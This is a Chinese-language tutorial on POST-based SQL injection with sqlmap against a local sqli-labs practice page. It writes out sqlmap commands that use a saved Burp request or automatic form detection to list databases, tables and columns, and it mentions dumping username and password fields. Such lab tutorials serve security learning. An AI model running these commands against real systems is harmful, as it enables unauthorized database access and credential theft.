SQL注入之sqlmap使用(post注入)

POST型:与数据库交互是通过post数据进行,URL不可见

利用sqlmap进行POST注入,常见的有三种方法:

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为1.txt,然后把它放至某个目录下

image.png

2.列数据库:

这样可以查看post注入中当前网站的所有数据库

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs

也可以使用 * 指定需要测试的参数,这需要在文件当中指定*号,这样sqlmap工具会根据 *前面的参数进行测试能否注入。

image-20240718170243789

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"Y"

image-20240718165538493

3.猜表

选择一个数据库,比如选test

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test --tables

image.png

4.猜列

sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test -T t1 --columns

image.png

查看user表中usernmae和password字段的所有数据。

image-20240718170143449

注入方式二:自动搜索表单的方式

sqlmap.py -u "http://localhost/sqli-labs-master/Less-11/index.php" --forms

image.png

do you want to test this form? [Y/n/q] 要测试此表单吗?[Y/n/q] 输入"Y"

do you want to fill blank fields with random values? [Y/n] 是否要填充带有随机值的空白字段? [Y/n] 输入"Y"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n] 输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N] 输入"N"

do you want to exploit this SQL injection? [Y/n] 你想利用SQL注入? 输入"Y"

image.png

常用命令:

查看当前网站所使用的数据库

image-20240718171054880

Last updated